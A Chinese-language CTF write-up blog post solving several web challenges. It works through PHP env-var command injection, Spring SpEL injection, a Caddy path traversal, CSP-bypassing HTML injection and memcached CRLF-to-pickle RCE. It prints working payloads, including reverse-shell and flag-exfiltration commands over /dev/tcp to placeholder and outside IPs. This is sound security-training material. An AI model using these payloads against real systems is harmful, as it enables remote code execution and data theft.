前言
寒假一直在摸鱼,基本都没怎么打比赛,这个3月初打了两个比赛,虽然第一个”安洵“是被主办方当猴去耍了。另外自己水平还是有待提高,都只是做出了最基本的题目,尤其是kalmarCTF,继续沉淀……..
Babyweb
又是狗都不用的php,正则表达式 preg_match
这里存在回溯限制,当字符串数量达到一定限度时会返回 false
'aikun'.str_repeat('a',1000000).'xiaojijiao'
然后访问这个 e4eeee4vaa1ll1we44ebf111a4g.php
<?php
error_reporting(0);
highlight_file(__FILE__);
foreach ($_REQUEST['env'] as $key => $value) {
if (blacklist($value)) {
putenv("{$key}={$value}");
}else{
echo "Hack!!!";
}
}
system('echo doit');
function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
return true;
}
else{
return false;
}
}
?>
这里其实参考p牛的文章即可,原封不动的
https://tttang.com/archive/1450/
执行命令
/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20id;%20}
后面就是常规的命令执行 bypass
/e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20a=ca;b=t;c=/f*;$a$b $c;%20}
ezjava
首先要登录,尝试应该是不存在sql注入了,尝试弱口令 admin/123456
成功登录
之后看前端源码可以发现 /file?pic=pic
这个接口,存在任意文件读取漏洞
/file?pic=/etc/passwd
读 /proc/self/cmdline
可以找到jar包位置
/file?pic=/proc/self/cmdline
得到 java -jar /ezJava-1.0-SNAPSHOT.jar
然后读jar包
/file?pic=/ezJava-1.0-SNAPSHOT.jar
得到jar包后就可以分析了
可以发现在登录后对 rememberMe 进行了解码然后再使用 SqEL表达式进行解析,所以 rememberMe这里存在 SqEL表达式注入漏洞。
//其他代码省略......
ExpressionParser parser = new SpelExpressionParser();
//其他代码省略......
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
ContextEvaluation evaluationContext = new ContextEvaluation();
return exp.getValue(evaluationContext).toString();
}
//其他代码省略......
加了黑名单
application.yml
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: 123456
rememberMeKey: ${SpringRememberMeKey}
用反射绕就行
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1"})}
有关SpEL表达式注入参考
然后就是要将这个payload加密后写入cookie中,加密这里用源码里给的加密方法就行。这里还缺个 SpringRememberMeKey
是在环境变量里
直接读环境变量文件即可得到
/file?pic=/proc/self/environ
得到 rememberMeKey
为 P3UzzQsJkQ4t7xvQFe3e4XKP4fyPAMQv
exp:
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class Exp {
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
return null;
}
}
public static void main(String[] args) {
String payload = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1\"})}";
String res;
res = encrypt("P3UzzQsJkQ4t7xvQFe3e4XKP4fyPAMQv", "0123456789abcdef", payload);
System.out.println(res);
}
}
之后在index页面下修改cookie中的 rememberMe
发送即可反弹shell。
Ez ⛳
kalmarCTF的题
Caddy 2.4.5服务器,看 docker-compose.yaml
可以发现 flag.txt 被删了,同时可以注意到他服务器上是这样的目录结构
可以发现当前srv目录下的backups目录中留有这三个网站的备份
注意到 Caddy 服务器的配置文件 Caddyfile 的 file_server
这里文件根路径是动态拼接的。
{
admin off
local_certs # Let's not spam Let's Encrypt
}
caddy.chal-kalmarc.tf {
redir https://www.caddy.chal-kalmarc.tf
}
#php.caddy.chal-kalmarc.tf {
# php_fastcgi localhost:9000
#}
flag.caddy.chal-kalmarc.tf {
respond 418
}
*.caddy.chal-kalmarc.tf {
encode zstd gzip
log {
output stderr
level DEBUG
}
# block accidental exposure of flags:
respond /flag.txt 403
tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
on_demand
}
# 进行了动态拼接
file_server {
root /srv/{host}/
}
}
所以更改host即可访问 backups
目录中的内容,另外这里respond匹配到 /flag.txt
会返回 403,用 /../flag.txt
即可绕过
exp:
GET /../flag.txt HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf
kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}
Invoiced
题目给了源码
可以看到 /renderInvoice
路由直接进行了 replace
,看样子是存在xss
app.get('/renderInvoice', async (req, res) => {
if (!invoice) {
invoice = await readFile('templates/invoice.html', 'utf8')
}
let html = invoice
.replaceAll("{{ name }}", req.query.name)
.replaceAll("{{ address }}", req.query.address)
.replaceAll("{{ phone }}", req.query.phone)
.replaceAll("{{ email }}", req.query.email)
.replaceAll("{{ discount }}", req.query.discount)
res.setHeader("Content-Type", "text/html")
res.setHeader("Content-Security-Policy", "default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;")
res.send(html)
})
但发现其实是设置了CSP的
同时
app.get('/orders', (req, res) => {
if (req.socket.remoteAddress != "::ffff:127.0.0.1") {
return res.send("Nice try")
}
if (req.cookies['bot']) {
return res.send("Nice try")
}
res.setHeader('X-Frame-Options', 'none');
res.send(process.env.FLAG || 'kalmar{test_flag}')
})
要求本地访问且cookie中不能有 bot
bot这里
async function renderPdf(body){
const browser = await puppeteer.launch(browser_options);
const page = await browser.newPage();
const cookie = {
"name": "bot",
"value": "true",
"domain": "localhost:5000",
"httpOnly": true,
"sameSite": "Strict"
}
await page.setCookie(cookie)
await page.goto("http://localhost:5000/renderInvoice?"+querystring.stringify(body), { waitUntil: 'networkidle0' });
await delay(1000)
const pdf = await page.pdf({ format: 'A4' });
await browser.close();
return pdf
}
由于设置了很严格的CSP,导致没办法注入执行 XSS 代码。但可以注入html,不过iframe没法使用。注意程序会返回bot最终访问页面的pdf,所以可以想办法让bot访问的页面跳转到 /orders
然后打印返回flag。
参考 https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/meta
可以使用 <meta>
标签来实现跳转
</title><meta http-equiv="refresh" content="0;url=http://xxx.xxx.xxx.xxx:xxx">
然后是绕过这个cookie限制。
自己启一个服务器作为跳板即可不携带cookie访问。
index.html
<script>location="http://localhost:5000/orders"</script>
/cart
页面填写name为
</title><meta http-equiv="refresh" content="0;url=http://xxx.xxx.xxx.xxx:xxx">
从源码中知道discount为 FREEZTUFSSZ1412
,填写发送即可
Healthy-Calc
没做出来的题,赛后复现
题目给了源码,程序是个简单的计算服务。
其中使用了Celery这个库,用于分布式任务队列
同时注意到获取缓存这里
async def cache_lookup(operation, lhs: int, rhs: int) -> int:
k = f"{operation.name}_{lhs}_{rhs}"
try:
return gp(celery.backend.get(k))
except:
pass # skip cache miss
ans = gp(await operation(lhs, rhs))
celery.backend.set(k, ans)# k可控
return ans
缓存使用了 memcached,设置缓存这里存在 CRLF 注入,可以任意设置键值对
官方给的exp
from time import sleep
from base64 import urlsafe_b64encode as b64
def get_payload():
""" Returns short payload that will RCE on unpickle and w/o slashes """
import os, pickle
class PickleRCE(object):
def __reduce__(self):
encoded_payload = b64(b"/readflag > /dev/tcp/12.34.56.78/1337").decode()
return os.system, (f'echo {encoded_payload} | base64 -d | bash',)
result = pickle.dumps(PickleRCE(), 1)
assert b'/' not in result, 'this will screw up the URL'
print(result)
return result
def send_raw(TARGET: str, PORT: int, request: bytes, reply=True):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((TARGET, PORT))
s.sendall(request)
sleep(.2)
for _ in range(3):
if txt := s.recv(1024):
if reply:
print(txt.decode())
except: pass
if __name__ == '__main__':
import socket
from random import randint
from urllib.parse import quote
TARGET, PORT = '172.25.0.1', 5000
a, b = randint(1, 99), randint(1, 99)
send_raw(TARGET, PORT, f'GET /calc/add/{a}/{b} HTTP/1.1\r\nHost: {TARGET}:{PORT}'.encode() + b'\r\n'*2, reply=False)
p = get_payload()
print(f"Payload size: {len(p)}")
#k = f'__main__._add_{a}_pwn'
k = f'uwsgi_file__app_chall._add_{a}_pwn'
payload = f"{b}\r\nset {k} 1 999 {len(p)}\r\n".encode() + p
send_raw(TARGET, PORT, f'GET /calc/add/{a}/{quote(payload)} HTTP/1.1\r\nHost: {TARGET}:{PORT}'.encode() + b'\r\n'*2)
sleep(.2)
send_raw(TARGET, PORT, f'GET /calc/add/{a}/pwn HTTP/1.1\r\nHost: {TARGET}:{PORT}'.encode() + b'\r\n'*2)